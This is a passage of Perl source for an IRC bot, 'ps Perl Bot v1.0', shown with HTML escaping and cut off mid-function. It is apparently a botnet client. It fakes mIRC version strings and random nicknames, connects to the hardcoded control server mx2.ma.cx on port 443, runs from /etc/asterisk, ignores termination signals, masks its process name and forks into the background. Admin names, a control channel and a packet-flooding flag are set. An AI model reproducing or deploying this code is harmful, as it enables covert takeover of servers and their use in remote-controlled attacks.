&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.2 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.03 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.14 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.15 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.16 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.17 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.21 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v6.31 Khaled Mardam-Bey\001&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;\001mIRC v7.15 Khaled Mardam-Bey\001&quot;);<br />
my $vers = $rversion[rand scalar @rversion];<br />
my @rircname = (&quot;abbore&quot;,&quot;ably&quot;,&quot;abyss&quot;,&quot;acrima&quot;,&quot;aerodream&quot;,&quot;afkdemon&quot;,&quot;ainthere&quot;,&quot;alberto&quot;,&quot;alexia&quot;,&quot;alexndra&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;alias&quot;,&quot;alikki&quot;,&quot;alphaa&quot;,&quot;alterego&quot;,&quot;alvin&quot;,&quot;ambra&quot;,&quot;amed&quot;,&quot;andjela&quot;,&quot;andreas&quot;,&quot;anja&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;anjing&quot;,&quot;anna&quot;,&quot;apeq&quot;,&quot;arntz&quot;,&quot;arskaz&quot;,&quot;as&quot;,&quot;asmodizz&quot;,&quot;asssa&quot;,&quot;athanas&quot;,&quot;aulis&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;aus&quot;,&quot;bar&quot;,&quot;bast&quot;,&quot;bedem&quot;,&quot;beeth&quot;,&quot;bella&quot;,&quot;birillo&quot;,&quot;bizio&quot;,&quot;blackhand&quot;,&quot;blacky&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;blietta&quot;,&quot;blondenor&quot;,&quot;blueangel&quot;,&quot;bluebus&quot;,&quot;bluey&quot;,&quot;bobi&quot;,&quot;bopoh&quot;,&quot;borre&quot;,&quot;boy&quot;,&quot;bram&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;brigitta&quot;,&quot;brio&quot;,&quot;brrrweg&quot;,&quot;brujah&quot;,&quot;caprcorn&quot;,&quot;carloto&quot;,&quot;catgirl&quot;,&quot;cathren&quot;,&quot;cemanmp&quot;,&quot;chainess&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;chaingone&quot;,&quot;chck&quot;,&quot;chriz&quot;,&quot;cigs&quot;,&quot;cintat&quot;,&quot;clarissa&quot;,&quot;clbiz&quot;,&quot;clex&quot;,&quot;cobe&quot;,&quot;cocker&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;coke&quot;,&quot;colin&quot;,&quot;conan&quot;,&quot;condoom&quot;,&quot;coop&quot;,&quot;coopers&quot;,&quot;corvonero&quot;,&quot;countzero&quot;,&quot;cracker&quot;,&quot;cread&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;crnaruka&quot;,&quot;cruizer&quot;,&quot;cubalibre&quot;,&quot;cure&quot;,&quot;custodes&quot;,&quot;dan&quot;,&quot;dangelo&quot;,&quot;danic&quot;,&quot;daniela&quot;,&quot;dario&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;darker&quot;,&quot;darknz&quot;,&quot;davide&quot;,&quot;daw&quot;,&quot;demigd&quot;,&quot;des&quot;,&quot;devastor&quot;,&quot;diabolik&quot;,&quot;dimkam&quot;,&quot;dital&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;djtt&quot;,&quot;dogzzz&quot;,&quot;dolfi&quot;,&quot;dolphin&quot;,&quot;dottmorte&quot;,&quot;dracon&quot;,&quot;dragon&quot;,&quot;drtte&quot;,&quot;dumbblnd&quot;,&quot;dusica&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;ebe&quot;,&quot;edgie&quot;,&quot;eggist&quot;,&quot;einaimou&quot;,&quot;elef&quot;,&quot;elly&quot;,&quot;emmi&quot;,&quot;encer&quot;,&quot;engerim&quot;,&quot;erixon&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;eurotrash&quot;,&quot;fairsight&quot;,&quot;fin&quot;,&quot;fireaway&quot;,&quot;fjortisch&quot;,&quot;floutti&quot;,&quot;fluffer&quot;,&quot;flum&quot;,&quot;forever&quot;,&quot;fqw&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;fra&quot;,&quot;freem&quot;,&quot;freew&quot;,&quot;freud&quot;,&quot;funny&quot;,&quot;furia&quot;,&quot;furunkuli&quot;,&quot;fwsmou&quot;,&quot;gad&quot;,&quot;gamppy&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;gerhard&quot;,&quot;ghostie&quot;,&quot;gili&quot;,&quot;girlie&quot;,&quot;giugno&quot;,&quot;gizmo&quot;,&quot;glidaren&quot;,&quot;gold&quot;,&quot;gomora&quot;,&quot;gracie&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;grave&quot;,&quot;graz&quot;,&quot;grron&quot;,&quot;gsund&quot;,&quot;gufoao&quot;,&quot;hali&quot;,&quot;hallas&quot;,&quot;hammer&quot;,&quot;harri&quot;,&quot;harry&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;hayes&quot;,&quot;hazor&quot;,&quot;herbiez&quot;,&quot;hlios&quot;,&quot;hoffi&quot;,&quot;honeii&quot;,&quot;hongkong&quot;,&quot;hug&quot;,&quot;iasv&quot;,&quot;ibanez&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;ibanz&quot;,&quot;ibar&quot;,&quot;igi&quot;,&quot;illusins&quot;,&quot;imp&quot;,&quot;inkworks&quot;,&quot;iplord&quot;,&quot;ivan&quot;,&quot;ja&quot;,&quot;jaffa&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;jaimeafk&quot;,&quot;james&quot;,&quot;jamezdin&quot;,&quot;janet&quot;,&quot;janne&quot;,&quot;jason&quot;,&quot;javagrl&quot;,&quot;jayc&quot;,&quot;jazz&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;jejborta&quot;,&quot;jester&quot;,&quot;jj&quot;,&quot;jn&quot;,&quot;jockey&quot;,&quot;joe&quot;,&quot;joelbitar&quot;,&quot;johannes&quot;,&quot;johndow&quot;,&quot;johnny&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;joni&quot;,&quot;jonni&quot;,&quot;jornx&quot;,&quot;joshua&quot;,&quot;jossumi&quot;,&quot;judy&quot;,&quot;juge&quot;,&quot;juha&quot;,&quot;juhas&quot;,&quot;julze&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;juutsu&quot;,&quot;kajman&quot;,&quot;kalca&quot;,&quot;kamileon&quot;,&quot;kardinal&quot;,&quot;kasandra&quot;,&quot;katarina&quot;,&quot;kaviee&quot;,&quot;kbee&quot;,&quot;ken&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;keung&quot;,&quot;kewin&quot;,&quot;khan&quot;,&quot;kikeli&quot;,&quot;kikii&quot;,&quot;kilroi&quot;,&quot;kiwi&quot;,&quot;klaara&quot;,&quot;kliimax&quot;,&quot;klimas&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;kode&quot;,&quot;kojv&quot;,&quot;koopal&quot;,&quot;kralj&quot;,&quot;krash&quot;,&quot;krista&quot;,&quot;kronos&quot;,&quot;ktx&quot;,&quot;kungen&quot;,&quot;kuppa&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;kurai&quot;,&quot;lala&quot;,&quot;lamour&quot;,&quot;latina&quot;,&quot;legend&quot;,&quot;lenisaway&quot;,&quot;lily&quot;,&quot;linda&quot;,&quot;lingyee&quot;,&quot;linux&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;lisa&quot;,&quot;lisha&quot;,&quot;litta&quot;,&quot;littleboy&quot;,&quot;liverpoo&quot;,&quot;liyen&quot;,&quot;liz&quot;,&quot;liza&quot;,&quot;lonely&quot;,&quot;lonelygal&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;lonewolf&quot;,&quot;lopez&quot;,&quot;lordie&quot;,&quot;lovebyte&quot;,&quot;lph&quot;,&quot;luarbiasa&quot;,&quot;lucignol&quot;,&quot;lullaby&quot;,&quot;lunatic&quot;,&quot;luny&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;lupo&quot;,&quot;mac&quot;,&quot;macesgl&quot;,&quot;madd&quot;,&quot;mailman&quot;,&quot;malkav&quot;,&quot;malr&quot;,&quot;mamakians&quot;,&quot;mamaw&quot;,&quot;manarimou&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;manarisou&quot;,&quot;maradona&quot;,&quot;marakana&quot;,&quot;marco&quot;,&quot;marillion&quot;,&quot;mark&quot;,&quot;mary&quot;,&quot;master&quot;,&quot;maurino&quot;,&quot;max&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;mcalcota&quot;,&quot;melanie&quot;,&quot;melinda&quot;,&quot;meph&quot;,&quot;mephisto&quot;,&quot;mg&quot;,&quot;mhj&quot;,&quot;mhz&quot;,&quot;mig&quot;,&quot;miina&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;mika&quot;,&quot;mikav&quot;,&quot;mike&quot;,&quot;mikemcgii&quot;,&quot;mikko&quot;,&quot;mikma&quot;,&quot;mimma&quot;,&quot;miss&quot;,&quot;moladmin&quot;,&quot;monikaw&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;monkeyboy&quot;,&quot;monroe&quot;,&quot;monstop&quot;,&quot;mooks&quot;,&quot;mordeshur&quot;,&quot;mpdike&quot;,&quot;mrbate&quot;,&quot;mrbeauty&quot;,&quot;mrblom&quot;,&quot;mrbx&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;mrjee&quot;,&quot;mro&quot;,&quot;mrtabizy&quot;,&quot;mrx&quot;,&quot;mrxx&quot;,&quot;msd&quot;,&quot;mu&quot;,&quot;muimui&quot;,&quot;musashi&quot;,&quot;musc&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;musce&quot;,&quot;musicgal&quot;,&quot;muti&quot;,&quot;myboy&quot;,&quot;mystr&quot;,&quot;mythic&quot;,&quot;mywife&quot;,&quot;nallllle&quot;,&quot;nanask&quot;,&quot;natalie&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;natborta&quot;,&quot;ncubus&quot;,&quot;neutrino&quot;,&quot;niceguy&quot;,&quot;nico&quot;,&quot;niklas&quot;,&quot;nimfa&quot;,&quot;nino&quot;,&quot;nurul&quot;,&quot;obiwanbip&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;ogre&quot;,&quot;olivia&quot;,&quot;omega&quot;,&quot;only&quot;,&quot;orac&quot;,&quot;orace&quot;,&quot;oranzzzzz&quot;,&quot;organza&quot;,&quot;ourlove&quot;,&quot;outworld&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;outzake&quot;,&quot;oxygn&quot;,&quot;paliadog&quot;,&quot;pazarac&quot;,&quot;permaloso&quot;,&quot;perroz&quot;,&quot;pessaar&quot;,&quot;phre&quot;,&quot;phreaky&quot;,&quot;pihkal&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;pinball&quot;,&quot;poesje&quot;,&quot;poison&quot;,&quot;poofie&quot;,&quot;popy&quot;,&quot;powerpc&quot;,&quot;pper&quot;,&quot;primera&quot;,&quot;primetime&quot;,&quot;proxyma&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;pshyche&quot;,&quot;psioncore&quot;,&quot;psiximou&quot;,&quot;psixisou&quot;,&quot;psychosis&quot;,&quot;psyidle&quot;,&quot;pszaah&quot;,&quot;puppetm&quot;,&quot;pzzzz&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;quattro&quot;,&quot;question&quot;,&quot;ra&quot;,&quot;ragio&quot;,&quot;ragnetto&quot;,&quot;raiden&quot;,&quot;raindance&quot;,&quot;raistln&quot;,&quot;ranu&quot;,&quot;raska&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;raul&quot;,&quot;raye&quot;,&quot;reartu&quot;,&quot;red&quot;,&quot;reflect&quot;,&quot;ribica&quot;,&quot;richard&quot;,&quot;rick&quot;,&quot;rigo&quot;,&quot;rikuta&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;rikuxr&quot;,&quot;rita&quot;,&quot;rix&quot;,&quot;rob&quot;,&quot;roku&quot;,&quot;ronaldo&quot;,&quot;ronwrl&quot;,&quot;roticanai&quot;,&quot;rugiada&quot;,&quot;ruthless&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;saalut&quot;,&quot;sammi&quot;,&quot;sand&quot;,&quot;satanins&quot;,&quot;schzsh&quot;,&quot;scorpin&quot;,&quot;sealink&quot;,&quot;sean&quot;,&quot;secret&quot;,&quot;serpentor&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;servant&quot;,&quot;sethi&quot;,&quot;sexbolek&quot;,&quot;sexyman&quot;,&quot;sharmm&quot;,&quot;shearer&quot;,&quot;shekel&quot;,&quot;shio&quot;,&quot;shortys&quot;,&quot;shred&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;sidewalk&quot;,&quot;sil&quot;,&quot;siren&quot;,&quot;skar&quot;,&quot;skill&quot;,&quot;skru&quot;,&quot;sky&quot;,&quot;skygun&quot;,&quot;skylink&quot;,&quot;slaktarn&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;slash&quot;,&quot;slgon&quot;,&quot;smarties&quot;,&quot;smck&quot;,&quot;snake&quot;,&quot;snike&quot;,&quot;snoopgirl&quot;,&quot;sodoma&quot;,&quot;sopocani&quot;,&quot;sorceress&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;spacebbl&quot;,&quot;spacedump&quot;,&quot;spanker&quot;,&quot;spermboy&quot;,&quot;spirtouli&quot;,&quot;srk&quot;,&quot;stazzz&quot;,&quot;steve&quot;,&quot;stinga&quot;,&quot;stj&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;stjf&quot;,&quot;studenica&quot;,&quot;stussy&quot;,&quot;suez&quot;,&quot;suhoj&quot;,&quot;sukun&quot;,&quot;sunsola&quot;,&quot;surfer&quot;,&quot;sutera&quot;,&quot;svearike&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;sweetii&quot;,&quot;sweetlady&quot;,&quot;sweklopi&quot;,&quot;swepilot&quot;,&quot;switch&quot;,&quot;syncphos&quot;,&quot;szern&quot;,&quot;takumura&quot;,&quot;tallaxlc&quot;,&quot;tampone&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;tarabas&quot;,&quot;tatano&quot;,&quot;tato&quot;,&quot;tennis&quot;,&quot;tenx&quot;,&quot;terence&quot;,&quot;terkukur&quot;,&quot;tero&quot;,&quot;thefox&quot;,&quot;thesint&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;timer&quot;,&quot;timewalk&quot;,&quot;tmhd&quot;,&quot;tnxfck&quot;,&quot;to&quot;,&quot;tomihki&quot;,&quot;tommy&quot;,&quot;topo&quot;,&quot;triumph&quot;,&quot;trustme&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;tungau&quot;,&quot;tupac&quot;,&quot;turbozzzz&quot;,&quot;turing&quot;,&quot;tvrdjava&quot;,&quot;tysn&quot;,&quot;unicron&quot;,&quot;uoff&quot;,&quot;uptimer&quot;,&quot;utopia&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;vader&quot;,&quot;vaismi&quot;,&quot;vajje&quot;,&quot;vanda&quot;,&quot;varjo&quot;,&quot;vass&quot;,&quot;vento&quot;,&quot;venusguy&quot;,&quot;vertie&quot;,&quot;viagara&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;vicious&quot;,&quot;vidxxx&quot;,&quot;virex&quot;,&quot;vodafone&quot;,&quot;vone&quot;,&quot;vrgnie&quot;,&quot;vuubeibe&quot;,&quot;wanderer&quot;,&quot;warrr&quot;,&quot;wasabboy&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;weebee&quot;,&quot;wellu&quot;,&quot;wendy&quot;,&quot;whiskey&quot;,&quot;willgood&quot;,&quot;wing&quot;,&quot;winny&quot;,&quot;wknight&quot;,&quot;wlly&quot;,&quot;wolfman&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;wow&quot;,&quot;wp&quot;,&quot;xarasou&quot;,&quot;xtreme&quot;,&quot;xxx&quot;,&quot;xzone&quot;,&quot;yakzr&quot;,&quot;yang&quot;,&quot;yashy&quot;,&quot;yasin&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;yenyen&quot;,&quot;ykbug&quot;,&quot;yogiebear&quot;,&quot;zai&quot;,&quot;zfstr&quot;,&quot;zinj&quot;,&quot;zizu&quot;,&quot;zvezda&quot;,&quot;zwimou&quot;,&quot;zwisou&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;zwsiew&quot;,&quot;zwsiewale&quot;);<br />
my $ircname = $rircname[rand scalar @rircname];<br />
## my @rrealname = (&quot;4,1[ ps Security Team ]&quot;,<br />
## &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;4,1 /!\ ps Security Team /!\ &quot;,<br />
## &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;2,1---=== 4,1 ps Security Team 2,1===---&quot;);<br />
## chop (my $realname = $rrealname[rand scalar @rrealname]);<br />
&nbsp;<br />
chop (my $realname = `uname -sr`);<br />
&nbsp;<br />
my $nick =$rircname[rand scalar @rircname];<br />
&nbsp;<br />
$server = 'mx2.ma.cx' unless $server;<br />
my $port = '443';<br />
&nbsp;<br />
my $linas_max='8';<br />
my $sleep='5';<br />
&nbsp;<br />
my $homedir = &quot;/etc/asterisk&quot;;<br />
my $version = 'ps Perl Bot v1.0';<br />
&nbsp;<br />
my @admins = (&quot;a&quot;,&quot;root&quot;);<br />
my @hostauth = (&quot;x&quot;);<br />
my @channels = (&quot;#chat&quot;);<br />
&nbsp;<br />
my $pacotes = 1;<br />
&nbsp;<br />
#################################################################<br />
##### [ Stop Editing if you dont know what are you doing. ] #####<br />
#################################################################<br />
&nbsp;<br />
$SIG{'INT'} = 'IGNORE';<br />
$SIG{'HUP'} = 'IGNORE';<br />
$SIG{'TERM'} = 'IGNORE';<br />
$SIG{'CHLD'} = 'IGNORE';<br />
$SIG{'PS'} = 'IGNORE';<br />
&nbsp;<br />
use Socket;<br />
use IO::Socket;<br />
use IO::Socket::INET;<br />
use IO::Select;<br />
&nbsp;<br />
chdir(&quot;$homedir&quot;);<br />
&nbsp;<br />
$server=&quot;$ARGV[0]&quot; if $ARGV[0];<br />
$0=&quot;$process&quot;.&quot;\0&quot;x16;;<br />
my $pid=fork;<br />
exit if $pid;<br />
die &quot;Can't fork in background: $!&quot; unless defined($pid);<br />
&nbsp;<br />
our %irc_servers;<br />
our %DCC;<br />
my $dcc_sel = new IO::Select-&gt;new();<br />
$sel_cliente = IO::Select-&gt;new();<br />
sub sendraw {<br />
&nbsp; if ($#_ == '1') {<br />
&nbsp; &nbsp; my $socket = $_[0];<br />
